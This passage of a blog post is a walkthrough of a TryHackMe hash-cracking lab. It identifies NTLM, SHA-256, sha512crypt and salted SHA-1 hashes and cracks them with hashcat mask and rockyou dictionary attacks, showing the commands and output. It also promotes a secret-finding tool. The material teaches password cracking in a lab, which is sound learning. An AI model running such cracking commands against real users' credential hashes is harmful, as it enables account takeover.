&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0849qsfvlvgqyuan5pp3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0849qsfvlvgqyuan5pp3.png" alt=" " width="800" height="107"&gt;&lt;/a&gt;&lt;br&gt;
It will also take very much time :’/&lt;br&gt;
But , from internet i know the result is “bleh”&lt;br&gt;
so, for fast work modify the previous code to show it in short time&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6nxx0jm61y6zw5z2miy2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6nxx0jm61y6zw5z2miy2.png" alt=" " width="379" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It will execute the hash very fast as it know the length and 1st 2 characters of hash crack&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp3lnu1eyxf0q9y7oxfib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp3lnu1eyxf0q9y7oxfib.png" alt=" " width="800" height="108"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-05:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 279412f945939ba78ce0758d3fd83daa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now, this is mine favorite one among all. From, crack station,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwk4wlra0be0v8rvwe1fy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwk4wlra0be0v8rvwe1fy.png" alt=" " width="800" height="335"&gt;&lt;/a&gt;&lt;br&gt;
Now, I will use mine own create Linux tool which very efficient in password existence finding from wordlists. you can visit this link for more info&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Ibrahim71Reza" rel="noopener noreferrer"&gt;
        Ibrahim71Reza
      &lt;/a&gt; / &lt;a href="https://github.com/Ibrahim71Reza/password_finder" rel="noopener noreferrer"&gt;
        password_finder
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🚀 pwfind (Password Find)&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The Ultimate, World's Fastest Password and Secret Finder for Huge Wordlists.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.rust-lang.org/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/1f88f2ae669e1db4d9c637142d148993bcf3b884e14919b700325a6281c7ba0b/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4275696c745f776974682d527573742d6632366130303f7374796c653d666f722d7468652d6261646765266c6f676f3d72757374" alt="Rust"&gt;&lt;/a&gt;
&lt;a href="https://kernel.org/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/e45d3f7f855a346289e3d9b526b78c6c702b06eedec6916c8c3d3ce4da7a4776/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f506c6174666f726d2d4c696e75782d4643433632343f7374796c653d666f722d7468652d6261646765266c6f676f3d6c696e7578" alt="Linux"&gt;&lt;/a&gt;
&lt;a href="https://github.com/Ibrahim71Reza/password_finder#" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/4221a6d4dc2cc8e4e3b1f2b804ec7b46e059fc8e4b20edfa1db2742cbe1b915d/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f546f6f6c2d50656e6574726174696f6e5f54657374696e672d626c61636b3f7374796c653d666f722d7468652d6261646765266c6f676f3d6b616c692d6c696e7578" alt="Pentesting"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Stop crashing your RAM. Start finding secrets instantly.&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;⚡ Why &lt;code&gt;pwfind&lt;/code&gt;?&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;When penetration testers, bug bounty hunters, or sysadmins work with massive datasets (like a 50GB SecLists dump or massive compressed server logs), standard tools like &lt;code&gt;grep&lt;/code&gt; or Python scripts will either bottleneck on CPU, or load the whole file into RAM and crash the system.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pwfind&lt;/code&gt; is written in highly optimized &lt;strong&gt;Rust&lt;/strong&gt;. It utilizes multi-threading, memory-safe buffered streaming, and on-the-fly decompression to hunt for exact passwords or regex secrets across millions of lines in a fraction of a second.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;✨ Core Features&lt;/h2&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;🏎️ &lt;strong&gt;Blazing Fast Concurrency:&lt;/strong&gt; Utilizes all your CPU cores to search dozens of files simultaneously.&lt;/li&gt;
&lt;li&gt;🧠 &lt;strong&gt;Hacker Intelligence (Presets):&lt;/strong&gt; Built-in complex Regex patterns to instantly find &lt;strong&gt;JWT Tokens, AWS Keys, IPv4 Addresses, and Emails&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;📦 &lt;strong&gt;On-the-Fly Decompression:&lt;/strong&gt; Searches directly…&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Ibrahim71Reza/password_finder" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Now, if you notice you will see there is no single wordlist which have this password in it&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdr3sf5eyv5vqpsiyi4ha.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdr3sf5eyv5vqpsiyi4ha.png" alt=" " width="533" height="774"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, we have to go for a long bruteforce to crack this :) No quick dictionary attack :'(&lt;/p&gt;

&lt;p&gt;We can use this payload,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 900 &lt;span class="nt"&gt;-a&lt;/span&gt; 3 hash.txt ?a?l?l?l?l?l?l?l?d?d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qoa2d4fs6s6p3xb6907.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qoa2d4fs6s6p3xb6907.png" alt=" " width="401" height="242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will also take time but will work at the end&lt;br&gt;
To ensure you it will work just running a sample case of that code manually,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1j60z3t83vp8j6kk7ceg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1j60z3t83vp8j6kk7ceg.png" alt=" " width="577" height="135"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7t14g0l3lg9xz37wnt3t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7t14g0l3lg9xz37wnt3t.png" alt=" " width="361" height="65"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhkhhpw0gi9k47xqt0x0k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhkhhpw0gi9k47xqt0x0k.png" alt=" " width="800" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Okay now, We will jump to the 2nd level of this -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6i82lhjvxmreakum3y4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6i82lhjvxmreakum3y4.png" alt=" " width="754" height="120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question-1:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4924p0shq1bxic7d2lwl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4924p0shq1bxic7d2lwl.png" alt=" " width="800" height="246"&gt;&lt;/a&gt;&lt;br&gt;
Now, lets crack this with SHA-256 mode 1400 by hashcat&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvdjybfveafca856z3axh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvdjybfveafca856z3axh.png" alt=" " width="614" height="423"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffslicgyjvtisy79zn2qs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffslicgyjvtisy79zn2qs.png" alt=" " width="616" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibdfdlesxywn45jf289h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibdfdlesxywn45jf289h.png" alt=" " width="800" height="107"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-2:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 1DFECA0C002AE40B8619ECF94819CC1B
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, this hash is tricky though it is showing MD5 or any version of MD but it is "NTLM". So, we should not blindly trust the top guess of this tools rather than sequentially test all the hash until we will get the hash cracked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33y1clco38tx2kwo5slm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33y1clco38tx2kwo5slm.png" alt=" " width="800" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox16bl1kqq65mhv5p5hl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox16bl1kqq65mhv5p5hl.png" alt=" " width="800" height="243"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8b9s3r4dpeaef6kn0hf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8b9s3r4dpeaef6kn0hf.png" alt=" " width="636" height="386"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzq1dc58zznl2s5c73r8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzq1dc58zznl2s5c73r8.png" alt=" " width="800" height="105"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question-3:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

Salt: aReallyHardSalt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3taozp0qixymiibic6nh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3taozp0qixymiibic6nh.png" alt=" " width="800" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, it is bit tricky. Go to &lt;a href="https://hashcat.net/wiki/doku.php?id=example_hashes" rel="noopener noreferrer"&gt;hashcat_wiki&lt;/a&gt; and search the $6$ tag and understand which mode is this. -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbpz5fqyw9ppl7xnb84ih.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbpz5fqyw9ppl7xnb84ih.png" alt=" " width="800" height="106"&gt;&lt;/a&gt;&lt;br&gt;
okay now lets crack we don't need to add the salt in the hash manually cause it is attached with that in the hash. But, most of we miss to add the (.) full stop at the end. This full stop is a part of this hash. And also it will take some time to crack -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5edsbhu979uyxs1usayu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5edsbhu979uyxs1usayu.png" alt=" " width="690" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2pge42x3dqk00y24cn0b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2pge42x3dqk00y24cn0b.png" alt=" " width="694" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc0kjsd0jpplb3hl15yrg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc0kjsd0jpplb3hl15yrg.png" alt=" " width="800" height="161"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-4:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: e5d8870e5bdd26602cab8dbe07a942c8669e56d6
Salt: tryhackme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0t083ai20yxi5ah2jnt8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0t083ai20yxi5ah2jnt8.png" alt=" " width="800" height="194"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;now if we look at the &lt;a href="https://hashcat.net/wiki/doku.php?id=example_hashes" rel="noopener noreferrer"&gt;hashcat_wiki&lt;/a&gt; the Sha-1 with salt is the mode 110 and also see the format   sha1($pass.$salt) -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F60gjxkny7jtq8hzy58xg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F60gjxkny7jtq8hzy58xg.png" alt=" " width="800" height="88"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But, unfortunately it didn't work :) then I sequentially search for other sha1 and salt type hash mode and I found this -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhaop9hwoi0pe25veswgx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhaop9hwoi0pe25veswgx.png" alt=" " width="800" height="236"&gt;&lt;/a&gt;&lt;br&gt;
And with that 160 mode we cracked the hash -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/password]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'e5d8870e5bdd26602cab8dbe07a942c8669e56d6:tryhackme'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
&lt;span class="go"&gt;
┌──(kali㉿kali)-[~/password]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 160 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 hash.txt /usr/share/wordlists/rockyou.txt      
&lt;span class="go"&gt;hashcat (v7.1.2) starting

&lt;/span&gt;&lt;span class="gp"&gt;OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #&lt;/span&gt;1 &lt;span class="o"&gt;[&lt;/span&gt;The pocl project]
&lt;span class="go"&gt;====================================================================================================================================================
&lt;/span&gt;&lt;span class="gp"&gt;* Device #&lt;/span&gt;01: cpu-sandybridge-12th Gen Intel&lt;span class="o"&gt;(&lt;/span&gt;R&lt;span class="o"&gt;)&lt;/span&gt; Core&lt;span class="o"&gt;(&lt;/span&gt;TM&lt;span class="o"&gt;)&lt;/span&gt; i5-12450H, 1466/2933 MB &lt;span class="o"&gt;(&lt;/span&gt;512 MB allocatable&lt;span class="o"&gt;)&lt;/span&gt;, 4MCU
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F64t6l6oqn9xywg4lxl8z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F64t6l6oqn9xywg4lxl8z.png" alt=" " width="639" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5e2pgyz1nzwc6sjgubm2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5e2pgyz1nzwc6sjgubm2.png" alt=" " width="800" height="155"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tryhackme</category>
      <category>cracking</category>
      <category>password</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
